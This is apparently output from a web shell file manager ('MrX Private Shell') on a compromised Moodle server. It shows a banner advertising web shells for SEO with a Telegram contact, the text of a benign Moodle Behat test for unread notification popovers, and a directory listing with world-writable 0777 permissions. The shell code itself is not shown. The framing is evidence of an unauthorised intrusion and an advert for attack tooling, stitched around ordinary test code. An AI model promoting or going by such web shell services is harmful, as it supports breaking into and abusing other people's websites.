__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
@core_message @message_popup @javascript
Feature: Notification popover unread notifications
In order to be kept informed
As a user
I am notified about relevant events in Moodle
Background:
Given the following "users" exist:
| username | firstname | lastname | email |
| student1 | Student | 1 | student1@example.com |
| student2 | Student | 2 | student2@example.com |
# This should generate some notifications
And the following "notifications" exist:
| subject | userfrom | userto | timecreated | timeread |
| Test 01 | student2 | student1 | 1654587996 | null |
| Test 02 | student2 | student1 | 1654587997 | null |
Scenario: Notification popover shows correct unread count
Given I log in as "student1"
# Confirm the popover is saying 1 unread notifications.
And I should see "2" in the "#nav-notification-popover-container [data-region='count-container']" "css_element"
# Open the popover.
When I open the notification popover
# Confirm the notifications are visible.
Then I should see "Test 01" in the "#nav-notification-popover-container" "css_element"
And I should see "Test 02" in the "#nav-notification-popover-container" "css_element"
@_bug_phantomjs
Scenario: Clicking a notification marks it as read
Given I log in as "student1"
# Open the notifications.
When I open the notification popover
And I follow "Test 01"
And I open the notification popover
And I follow "Test 02"
# Confirm the count element is hidden (i.e. there are no unread notifications).
Then "[data-region='count-container']" "css_element" in the "#nav-notification-popover-container" "css_element" should not be visible
Scenario: Mark all notifications as read
Given I log in as "student1"
When I open the notification popover
And I click on "Mark all as read" "link" in the "#nav-notification-popover-container" "css_element"
# Refresh the page to make sure we send a new request for the unread count.
And I reload the page
# Confirm the count element is hidden (i.e. there are no unread notifications).
Then "[data-region='count-container']" "css_element" in the "#nav-notification-popover-container" "css_element" should not be visible
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| behat_message_popup.php | File | 2.36 KB | 0777 |
|
| notification_popover_preferences.feature | File | 596 B | 0777 |
|
| notification_popover_unread.feature | File | 2.24 KB | 0777 |
|